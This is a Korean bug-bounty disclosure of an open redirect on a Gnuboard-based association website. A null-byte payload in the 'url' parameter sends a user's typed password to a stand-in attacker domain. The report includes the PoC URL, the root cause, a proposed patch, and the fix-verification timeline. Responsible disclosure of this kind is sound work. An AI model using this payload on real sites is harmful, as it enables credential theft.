open redirect를 통한 사용자 비밀번호 탈취

작성자 점심이당 프로그램 한국CISSP협회 대표홈페이지

WEB 종료됨 낮음 20,000 작성일: 2021년 6월 10일 (3년 전) 마지막 업데이트일: 2021년 6월 16일 (3년 전)

취약점 유형

open redirect를 통한 사용자 비밀번호 탈취

상세내용

개요

회원 비밀번호 확인 페이지(/bbs/member_confirm.php)에서 url 파라미터의 값을 다른 도메인으로 지정할 수 있는 취약점임.
비밀번호를 입력하고 확인 버튼을 누르면 임의의 도메인으로 입력한 비밀번호가 전송되도록 할 수 있음

PoC: https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr

재현 과정

  1. [step1] 사용자가 해커에게 받은 URI에 접속함.
    https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr
    이미지1

  2. [step2] 사용자가 비밀번호를 입력하고 확인 버튼을 누름.
    이미지2

  3. [step3] 해커의 도메인 hackerdomain.com으로 사용자가 입력한 비밀번호가 전송됨.

예상되는 취약점 발생 원인

그누보드엔 url query 파라미터로 들어오는 %00 값을 \0으로 replace하는 루틴이 있는데,
이를 이용하여 url 파라미터의 필터링을 우회할 수 있음.

url 파라미터의 값인 http://hackerdomain.com%00@isc2chapter.kr
내부적으로 http://hackerdomain.com\0@isc2chapter.kr 으로 치환됨.

웹브라우저 상에서 http://hackerdomain.com\0@isc2chapter.kr에 접속하면,
http://hackerdomain.com/0@isc2chapter.kr 으로 들어가짐

패치 방법

$_GET['url'] 변수의 값에 \0이 포함되면 오류가 발생하도록 패치

예상 결과 및 파급력

해커가 임의로 만든 URI에 사용자들이 접속하도록 유도하여, 사용자들의 비밀번호를 탈취할 수 있음.

타임라인

점심이당 님이 티켓을 제출했습니다. 2021년 6월 10일 (3년 전)
CISSP MANAGER 님이 상태를 '제출됨'에서 '처리중'으로 변경했습니다. 2021년 6월 14일 (3년 전)
CISSP MANAGER 님이 위험도를 '중간'에서 '낮음'으로 변경했습니다. 2021년 6월 14일 (3년 전)
CISSP MANAGER 님이 댓글을 남겼습니다. 2021년 6월 14일 (3년 전)

안녕하세요.

패치가 완료 되었는데, 확인 한번 해주시겠어요?

점심이당 님이 댓글을 남겼습니다. 2021년 6월 14일 (3년 전)

안녕하세요.
form 태그의 action 속성이 /bbs/member_confirm.php이라는 URL로 하드코딩하신것 같은데,
이러니까 비밀번호 확인 기능이 정상적으로 작동하질 않네요.

점심이당 님이 댓글을 남겼습니다. 2021년 6월 15일 (3년 전)

제가 티켓 제출 당시에 패치 방법에 \0을 막으라고 적어두었는데…
지금 보니까 \0 말고도 다른 문자로도 우회가 가능한게 확인되어서, 패치 방법 수정안을 올리겠습니다.

패치 방법

url 파라미터의 값에 \0, ', \ 등의 문자가 포함되면 오류가 발생하도록 패치

CISSP MANAGER 님이 댓글을 남겼습니다. 2021년 6월 16일 (3년 전)

안녕하세요.

현재 기능에 지장 없이 패치를 완료한 상태인데 .

확인 한번 해주시겠어요?

점심이당 님이 댓글을 남겼습니다. 2021년 6월 16일 (3년 전)

안녕하세요.
페이지에 접속해보니 다음과 같은 에러가 발생합니다.
Uncaught Error: Call to undefined function sset() in /var/www/html/bbs/alert.php:30
코드에 오타가 있는것 같네요.

CISSP MANAGER 님이 댓글을 남겼습니다. 2021년 6월 16일 (3년 전)

안녕하세요, 패치가 완료 되었습니다.

다시 한번 더 확인 부탁 드립니다.

점심이당 님이 댓글을 남겼습니다. 2021년 6월 16일 (3년 전)

네 이상없이 작동하는것 같습니다.

CISSP MANAGER 님이 보상 20,000 크레딧을 지급했습니다. 2021년 6월 16일 (3년 전)
CISSP MANAGER 님이 상태를 '처리중'에서 '종료됨'으로 변경했습니다. 2021년 6월 16일 (3년 전)
CISSP MANAGER 님이 공개상태를 '비공개'에서 '전체공개'로 변경했습니다. 2021년 6월 16일 (3년 전)